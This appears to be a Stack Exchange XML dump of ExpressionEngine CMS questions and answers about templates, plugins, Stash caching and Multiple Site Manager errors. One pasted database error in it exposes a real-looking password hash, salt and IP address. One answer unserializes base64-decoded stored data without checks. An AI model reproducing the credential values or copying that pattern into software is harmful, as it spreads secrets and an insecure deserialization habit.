  <row Id="30271" PostTypeId="2" ParentId="30269" CreationDate="2015-02-26T20:13:29.413" Score="0" Body="&lt;p&gt;You can use negative price modifiers to adjust your products final price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lets say you have a $1200 item that you would create a product with a price of $1200 then you would need to create 2 modifier options 'Full Price' with out adding a modifier value and 'Down Payment' with a value of -1100 as the modifier value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow you to still sort by price but you would need to do the math to get the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option seems like a bit overkill in your situation but would be possible. You could create a new channel with a Store Field and a relationship field. Once you have done that you would be able to create your product in the main product channel with the normal price. Then you would create another entry in the newly created channel with the down payment price and then you would need to relate the down payment product to the entry you just created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can add a lot of overhead and really provides a less then ideal publishing approach for your content creators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final option would be to create an extension that would automatically calculate the difference for you.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-02-26T20:13:29.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30272" PostTypeId="1" CreationDate="2015-02-26T21:08:00.807" Score="1" ViewCount="152" Body="&lt;p&gt;I see in the &quot;New Field&quot; dialog that the field description &quot;can be inserted into your forms&quot; but I don't see any documentation on how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried guessing with &quot;{composer:field_description}&quot; inside the {composer:fields} pair, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should clarify that the reason I want to use field descriptions this way is to enable content editors to add some descriptive text about a field below the label.  And they need to be able to do everything using the Composer interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am open to alternative solutions that meet this requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone who can help.&lt;/p&gt;&#xA;" OwnerUserId="4931" LastEditorUserId="4931" LastEditDate="2015-02-26T21:19:36.523" LastActivityDate="2016-05-26T21:38:41.497" Title="Freeform field description in template?" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30273" PostTypeId="2" ParentId="30270" CreationDate="2015-02-27T01:35:40.767" Score="0" Body="&lt;p&gt;Ok so the answer was actually not Image Sizer but CE Image plugin, even though the initial error referenced the imgsizer plugin directory. What was happening was that there wasn't enough server resources to load the images which stopped the other plugins from loading and caused the plugins not to load dynamic files leading to other errors like directories not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went into the &lt;code&gt;pi.ce_img.php&lt;/code&gt; file and changed line 82 (below comments) from 60 to 256:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;/* The PHP memory limit.&#xA;    This script needs an adequate amount of memory (measured in megabytes) allocated from your server in&#xA;    order to work. Generally, 64 should be more than enough. This value can also be overwritten in config.php. */&#xA;    private $memory_limit = 256;&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this seems like a huge amount of memory resources (I still need to fine tune with server) but the site is loading very fast now on all pages. Hopefully this helps someone else, I could see similar problems arising with other image plugins.&lt;/p&gt;&#xA;" OwnerUserId="3474" LastActivityDate="2015-02-27T01:35:40.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30274" PostTypeId="1" AcceptedAnswerId="30291" CreationDate="2015-02-27T04:24:05.300" Score="1" ViewCount="72" Body="&lt;p&gt;I've got a situation where I'm pulling a list of channel entries, each of which link to a page with more details.  The channel is called &quot;audio&quot;, and it contains a Channel Files field that can hold multiple audio files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the entry contains just one audio file, do ABC.&lt;/li&gt;&#xA;&lt;li&gt;If the entry contains more than one audio file, do XYZ&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is my &quot;dumbed-down&quot; code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;teleconferences&quot;}&#xA;    {exp:channel_files:files entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;/{segment_1}/{url_title}&quot;&amp;gt;Full Details&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/exp:channel_files:files}&#xA;{/exp:channel_files:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I don't put a limit on the {exp:channel:entries&quot; tag, then it prints a link for the total number of files in the entry.  So if there were 5 files in Entry A, and 1 in Entry B, it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entry A&lt;/li&gt;&#xA;&lt;li&gt;Entry A&lt;/li&gt;&#xA;&lt;li&gt;Entry A&lt;/li&gt;&#xA;&lt;li&gt;Entry A&lt;/li&gt;&#xA;&lt;li&gt;Entry A&lt;/li&gt;&#xA;&lt;li&gt;Entry B&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I do put a limit, then I get that number per page, with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add a limit to the {exp:channel_files:files} tag, then I only get one entry, but I'm unable to do ABC or XYZ on it.  Basically, what I'd like to do is put a play button if there is only one audio file, or a link to the page if there are multiple audio files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps this isn't doable but I thought I would ask the experts!!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-02-28T00:46:43.133" Title="Channel Files Question" Tags="|devdemon|channel-files|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30275" PostTypeId="1" CreationDate="2015-02-27T08:49:43.503" Score="0" ViewCount="180" Body="&lt;p&gt;I have a relationship Field. I would like to show the category in front of the title within the Dropdown-List. Any plugin? Other Solution? Or do I have to alter the core of EE relationship field? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to see this in the dropdown list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Category A -&amp;gt; {title_1}&#xA;Category A -&amp;gt; {title_2}&#xA;Category A -&amp;gt; {title_3}&#xA;Category B -&amp;gt; {title_4}&#xA;Category B -&amp;gt; {title_5}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any Hints?&lt;/p&gt;&#xA;" OwnerUserId="3125" LastActivityDate="2016-06-04T04:39:42.890" Title="Relationship Field Dropdown Values more than {title} in Backend" Tags="|categories|relationships|drop-down|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30277" PostTypeId="1" CreationDate="2015-02-27T09:18:53.600" Score="0" ViewCount="28" Body="&lt;p&gt;I tried to use return=&quot;site/profile/{member_id}&quot; in my member:login form, but that did not work, giving 0 to segment 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also did try {logged_in_member_id} with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to return with valid member_id in segment 3, so that I could pull out content only for the logged in member to be shown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-02-27T09:18:53.600" Title="member login, is there a way to include member id to return parameter?" Tags="|members|login|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30278" PostTypeId="2" ParentId="28946" CreationDate="2015-02-27T09:49:10.253" Score="0" Body="&lt;p&gt;So, what I did (if it can help someone) (thanks to @Solspace for his answers) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template templategroup/list :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT essh.history_id, essh.member_id, essh.results, essh.search_name, essh.search_date, essh.saved, essh.query AS my_query&#xA;FROM exp_super_search_history essh&#xA;INNER JOIN&#xA;    (SELECT member_id, MAX(search_date) AS MaxDateSearch&#xA;    FROM exp_super_search_history WHERE saved='y' AND member_id != '0'&#xA;    GROUP BY member_id) groupedessh&#xA;    ON essh.member_id = groupedessh.member_id &#xA;    AND essh.search_date = groupedessh.MaxDateSearch&#xA;INNER JOIN&#xA;    (SELECT member_id&#xA;    FROM exp_members) groupedem&#xA;    ON essh.member_id = groupedem.member_id&#xA;    AND essh.member_id = groupedem.member_id&quot;}&#xA;&#xA;&#xA;&amp;lt;?php&#xA; $qr       = '{my_query}';&#xA;    $decoded      = base64_decode($qr);&#xA;    $unserialized = unserialize($decoded);&#xA;&#xA;    if ( ! function_exists('convertArrayToString') ) {&#xA;    function convertArrayToString($array) {&#xA;&#xA;        $string = '';&#xA;&#xA;        foreach($array as $i =&amp;gt; $cell) {&#xA;&#xA;            if($i == 'field') {&#xA;&#xA;                foreach($cell as $i =&amp;gt; $c) {&#xA;                    $string .= $i . '=' . $c . '&amp;amp;';&#xA;                }&#xA;&#xA;            } else {&#xA;&#xA;                $key   = key($cell) . '-' . $i;&#xA;                $value = current($cell);&#xA;&#xA;                $string .= $key . '=' . $value . '&amp;amp;';&#xA;            }&#xA;        }&#xA;&#xA;        return rtrim($string, '&amp;amp;');&#xA;    }&#xA;    $the_url = convertArrayToString($unserialized);&#xA;    $the_url = str_replace(&quot;+&quot;, &quot; &quot;, $the_url); // to delete the &quot;+&quot; that it places instead of a white space, otherwise it doesn't match the value of the super search criteria's value&#xA;    echo $the_url;&#xA;} else {&#xA;    $the_url = convertArrayToString($unserialized);&#xA;    $the_url = str_replace(&quot;+&quot;, &quot; &quot;, $the_url); // to delete the &quot;+&quot; that it places instead of a white space, otherwise it doesn't match the value of the super search criteria's value&#xA;    echo $the_url;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;{embed=&quot;template_group/results_list&quot; the_query=&quot;&amp;lt;?php echo $the_url; ?&amp;gt;&quot; the_author=&quot;{member_id}&quot;}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my template templategroup/results_list :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;my_channel&quot; orderby=&quot;entry_date+desc&quot; search_words_within_words=&quot;no&quot; search=&quot;{embed:the_query}&quot;}&#xA;     {if super_search_no_results}&#xA;     &amp;lt;p&amp;gt;No reslut that matches the search criterias&amp;lt;/p&amp;gt;&#xA;     {/if}&#xA;     &amp;lt;a href=&quot;{url_title_path='goods/goods-details'}&quot; title=&quot;Learn more about this good&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2015-02-27T09:49:10.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30279" PostTypeId="1" AcceptedAnswerId="30320" CreationDate="2015-02-27T11:31:45.647" Score="0" ViewCount="202" Body="&lt;p&gt;I seem to be having some issues with email notifications within Cartthrob at present. Now i know these have cropped up in the past, so I'm just trying to get my head around the best case scenario for this and the pitfalls to watch out for. Obviously the email notifications are pretty important for a client, and its a pain when they can be at times pretty hit and miss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm working on a clients site that we have switched to Stripe over PayPal which seems to be fine at present. The order confirmations are coming back ok, and the orders are been created in the Order channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are no notifications been sent out at all. This is currently on a development server for testing and I've gone ahead and tested that i can trigger the emails using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (mail('you@yourdomain.com', 'Quick email test', 'Is this on?'))&#xA;{&#xA;    echo 'Mail sent successfully.';&#xA;}&#xA;else&#xA;{&#xA;    echo 'Mail was not sent.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And thats sending both using an email local to the development server and also the clients email. So i know thats working ok.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ive also looked at the settings in the Cartthrob CP and made sure those notifications are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yuPJN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive even simplified the templates been used right down to say literally Thanks for Ordering, Here is a new order etc. respectively. No extra tags or information.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've also checked in the exp_cartthob_email_log and its saying that email_event has been completed. But nothing is arriving. SO totally baffled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1005" LastActivityDate="2015-03-02T15:16:37.557" Title="Dreaded Email notifications and Cartthrob" Tags="|cartthrob|stripe|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30280" PostTypeId="1" CreationDate="2015-02-27T11:58:19.260" Score="1" ViewCount="94" Body="&lt;p&gt;I have a small but strange behaviour showing up in the CP following an upgrade of ee from 2.4 to 2.9.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you navigate via the top menu bar to content&gt;edit and hover over &quot;edit&quot; the link - it takes you to &quot;CP Home&gt;Edit&quot; page as it should. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when you navigate further in the drop down menu to any of the channels (Content&gt;Edit&gt;Homepage for example) the link that is shown is ../index.php?/cp/content_publish/entry_form&amp;amp;channel_id....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you click on Content&gt;edit&gt;homepage you are delivered to an empty Publish screen for homepage channel (the breadcrumb shows: CP Home&gt;Publish New Entry&gt;Homepage)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I had quite a bit of fiddling to do to get all my modules and extensions upgraded and working following the big upgrade of ee, the actual ee upgrade seemed to go without a problem, so I'm a bit lost as to why I should be seeing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site otherwise functional - its just very annoying!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or help much appreciated. &#xA;James. &lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2015-02-27T11:58:19.260" Title="CP Content&gt;Edit &quot;edits&quot; and Content&gt;Edit&gt;xxxxx &quot;Publishes&quot;" Tags="|control-panel|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30282" PostTypeId="1" CreationDate="2015-02-27T15:46:48.653" Score="1" ViewCount="332" Body="&lt;p&gt;I'm running into a problem when trying to use Multiple Site Manager (v2.1.7) with ExpressionEngine (v2.9.2). This is a fresh install on Digital Ocean. The only posts are ones created by following the tutorial at &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html&lt;/a&gt;. I used the instructions on Ellis Lab's site to install MSM. The first time that I try to enable MSM, the page posts, but &quot;Enable Multiple Site Manager&quot; switches back to &quot;No&quot;. The second time I enable it, the setting is saved corrently. If I try to do anything at this point I get the Site Error. Disabling MSM in config.php makes the site work just fine. The second I re-enable MSM, the site throws the error again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've done to try and troubleshoot.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I checked open_basedir in php.ini. It's commented out, but I also changed the value to the document root (/var/www/html in my case).&lt;/li&gt;&#xA;&lt;li&gt;I checked (and changed) all the permissions as described at &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/installation.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/installation/installation.html&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I checked the database settings in database.php and they're correct.&lt;/li&gt;&#xA;&lt;li&gt;I've tried uninstalling EE and MSM and dropping the database, but I'm still getting the error.&lt;/li&gt;&#xA;&lt;li&gt;I ran the EE wizard and everything looks okay on that end.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I don't know what else to check.&lt;/p&gt;&#xA;" OwnerUserId="6093" LastActivityDate="2015-02-27T15:46:48.653" Title="&quot;Site Error: Unable to Load Site Preferences; No Preferences Found&quot; when trying to use Multiple Site Manager" Tags="|multi-site-manager|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30283" PostTypeId="2" ParentId="30275" CreationDate="2015-02-27T17:25:35.017" Score="0" Body="&lt;p&gt;No add-on I know of will do this, and even alternate relationship fieldtypes like Playa don't allow you to customize the item titles on the publish screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, hacking core would be a) a bad idea, and b) require extra queries to get the category data for each item as well.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-27T17:25:35.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30284" PostTypeId="1" CreationDate="2015-02-27T18:50:17.197" Score="0" ViewCount="33" Body="&lt;p&gt;I am building a form with Freeform Pro that has 80 fields and am wondering the best way to go.  The form is contains 4 parts, so my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I create 1 form with 80 fields or 4 forms with 20 fields each?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking into database normalization and am wondering if this concept mostly pertains mainly to really, really large databases with way more than 100 columns.  Also,  this form probably won't get more than 20100 submissions per year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2015-02-28T23:02:31.490" Title="Freeform: Number of fields: which is better" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30285" PostTypeId="2" ParentId="30274" CreationDate="2015-02-27T19:00:22.903" Score="1" Body="&lt;p&gt;Try this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;teleconferences&quot;}&#xA;    {exp:channel_files:files entry_id=&quot;{entry_id}&quot;}&#xA;        {if file:count==1}&#xA;           /// do ABC ///&#xA;        {if:else}&#xA;           /// do XYZ ///&#xA;        {/if}&#xA;    {/exp:channel_files:files}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to remove the limit from &lt;code&gt;{exp:channel_files:files}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh. And your closing tag should read &lt;code&gt;{/exp:channel:entries}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="631" LastEditorUserId="631" LastEditDate="2015-02-27T19:28:16.277" LastActivityDate="2015-02-27T19:28:16.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30286" PostTypeId="1" CreationDate="2015-02-27T20:04:53.923" Score="0" ViewCount="51" Body="&lt;p&gt;I'm putting together a sort of &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Mvvm-%28model-view-viewmodel%29&quot; rel=&quot;nofollow&quot;&gt;ViewModel-ish&lt;/a&gt; setup and getting strange output from &lt;code&gt;{stash:nocache}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the setup. First, the EE template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed&#xA;  context=&quot;@URI&quot;&#xA;  file_name=&quot;viewmodels:detail&quot;&#xA;  parse_stage=&quot;both&quot;&#xA;  stash:_type=&quot;blog&quot;&#xA;  stash:_layout=&quot;standard&quot;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;viewmodels/detail.html&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:{stash:_layout} priority=&quot;1&quot;}&#xA;&#xA;{stash:embed &#xA;  file_name=&quot;viewmodels:detail:{stash:_type}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;viewmodels/detail/blog.html&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries [single entry parameters...]}&#xA;&#xA;[SNIP store some other data, eg title, body…]&#xA;&#xA;  {exp:stash:set_list name=&quot;post_links&quot; parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;    [SNIP some other items…]&#xA;&#xA;    {stash:link}&#xA;      {if forum_topic}&#xA;        {path='forums/viewthread'}/{forum_topic_id}/&#xA;      {if:else}&#xA;        {stash:nocache}&#xA;          {if logged_in}&#xA;            {path='/forums/newtopic/18/'}&#xA;          {if:else}&#xA;            /forums/member/login/&#xA;          {/if}&#xA;        {/stash:nocache}&#xA;      {/if}&#xA;    {/stash:link}&#xA;    {stash:text}&#xA;      {if forum_topic}&#xA;        Discuss in the forums&#xA;      {if:else}&#xA;        {stash:nocache}&#xA;        {if logged_out}Log in and start{if:else}Start{/if} a discussion in the forums&#xA;        {/stash:nocache}&#xA;      {/if}&#xA;    {/stash:text}&#xA;&#xA;  {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;layouts/standard.html&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;(part of it)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;post_links&quot;}&#xA;  &amp;lt;a href=&quot;{link}&quot;&amp;gt;{text}&amp;lt;/a&amp;gt; &amp;lt;br/&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All told, that outputs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;[_Stash_1_SOMERANDOMLETTERSANDNUMBERS]&quot;&amp;gt;[_Stash_2_SOMERANDOMLETTERSANDNUMBERS]&amp;lt;/a&amp;gt; &amp;lt;br/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At first I thought it might an issue using &lt;code&gt;{stash:nocache}&lt;/code&gt; within the &lt;code&gt;{stash:KEY}&lt;/code&gt; elements of &lt;code&gt;{exp:stash:set_list}&lt;/code&gt;, so I tried &lt;code&gt;prefix=&quot;CUSTOM&quot;&lt;/code&gt; on any/all of the &lt;code&gt;{stash:embed}&lt;/code&gt;s and using &lt;code&gt;{CUSTOM:nocache}&lt;/code&gt;, but that got me the same sort of garbled result. No combination of &lt;code&gt;parse_stage=&quot;both&quot;&lt;/code&gt; on any of the nested embeds seemed to make a difference either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra weird, if I place the contents of &lt;code&gt;viewmodels/detail/blog.html&lt;/code&gt; directly in 'viewmodels/detail.html' instead of the nested embed and just use &lt;code&gt;{stash:nocache}&lt;/code&gt;, that works OK. So I could do that. But if anyone has any ideas why those list/&lt;code&gt;{stash:nocache}&lt;/code&gt; elements are getting parsed that way so I could use the nested embed, that'd be useful.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2016-06-04T23:48:27.853" Title="Garbled stash:nocache output when in stash:set_list in a nested embed" Tags="|stash|embeds|caching|list|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30289" PostTypeId="1" CreationDate="2015-02-27T21:55:23.660" Score="0" ViewCount="41" Body="&lt;p&gt;Here's the situation.  I tried to add a 10th site to my MSM and I got an SQL error that effectively says, you can't add another column to the exp_weblog_data table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Description: Can't create table 'simplifiedsafety_eu.#sql-1935_220d4' (errno: 139)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I researched a bit and basically this boils down to a poorly designed database (yeah I know it has to do with fulltext searching yada yada) and the constraints of mySQL.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So what is a developer to do?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well here's what I came up with and I wanted to run this by some people in the community before I test this out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create another www directory (called www2) where I pointed the URL for the additional sites&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create a copy of the current ee database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Create symbolic links to all files and directories in the original director &lt;em&gt;EXCEPT&lt;/em&gt; for the system/config.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Point the new system/config.php at the copy of the database.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Delete most of the sites out of the ee that's pointing at the db copy.  (Of course I could copy the site I needed first)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my theory holds then I could maintain ONE code base, but have two separate databases (and two separate config files), and everything else would be unified.  Assumedly this would allow me to double the number of MSM sites that I'm running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only disadvantage that I could see is if I wanted to make a duplicate of a site that was in the other database.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that the control panels would only show the sites in the database that it was pointed at, but that's not a problem for me either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your thoughts here:&lt;/p&gt;&#xA;" OwnerUserId="468" LastActivityDate="2015-02-27T21:55:23.660" Title="Adding 10+ Sites to MSM - Does this workaround sound crazy?" Tags="|multi-site-manager|database|ee1|database-error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30290" PostTypeId="1" CreationDate="2015-02-27T22:30:38.443" Score="0" ViewCount="91" Body="&lt;p&gt;Just moved the site from a lamp to IIS. We are using Solspace's User module for registration but we are getting the following DB &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1366&#xA;&#xA;Incorrect integer value: '' for column 'last_activity' at row 1&#xA;&#xA;INSERT INTO `exp_members` (&#xA;`group_id`, &#xA;`username`, &#xA;`password`, &#xA;`salt`, &#xA;`ip_address`, &#xA;`unique_id`, &#xA;`join_date`, &#xA;`email`, &#xA;`screen_name`, &#xA;`time_format`, &#xA;`url`, &#xA;`location`, &#xA;`occupation`, &#xA;`interests`, &#xA;`language`, &#xA;`last_activity`, &#xA;`bday_d`, &#xA;`bday_m`, &#xA;`bday_y`, &#xA;`aol_im`, &#xA;`yahoo_im`, &#xA;`msn_im`, &#xA;`icq`, &#xA;`bio`, &#xA;`profile_views`, &#xA;`timezone`, &#xA;`signature`&#xA;&#xA;)VALUES (&#xA;&#xA;'6', &#xA;'ashby', '63fd27cab8beb2c3fbf8aca6d49f71a333ab71c3a741d8fd3bd6627698696b1fa4dc63ece5143a06a8701081f0a64b3fea9da59a181b770c5876a4454e9610cb', 'CzO6TFy\'#l=&amp;lt;`G@BSjl?AEa*W[Y0N3bcr4).O:;@j^:+Bds&amp;amp;4wM:)*\\w,m!ziRC~sp\&quot;.o-m1.qZTR?TeK,JhmCut;j', &#xA;'190.140.68.177', &#xA;'a6444108bf453435e0b71f60ea11e4b640403178', &#xA;1425070565, &#xA;'email@gmail.com', &#xA;'ashby', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'', &#xA;'')&#xA;&#xA;Filename: C:\inetpub\wwwroot\system\codeigniter\system\database\DB_driver.php&#xA;&#xA;Line Number: 330&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2016-06-16T01:13:45.250" Title="DB error when a new user registers after server migration" Tags="|members|solspace-user|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30291" PostTypeId="2" ParentId="30274" CreationDate="2015-02-28T00:46:43.133" Score="0" Body="&lt;p&gt;OK, I had made it way more complicated than it needed to be, and I really wasn't coding it right.  Here is what I ended up doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;teleconferences&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;&#xA;        {exp:channel_files:files entry_id=&quot;{entry_id}&quot;}&#xA;            {if file:total == 1}&#xA;            --- Put a play button here ---&#xA;            {/if}&#xA;        {/exp:channel_files:files}&#xA;      &amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;The rest of my code&amp;lt;/td&amp;gt;&#xA;   &amp;lt;/tr&amp;gt;&#xA;   {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works exactly as I had hoped!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-02-28T00:46:43.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
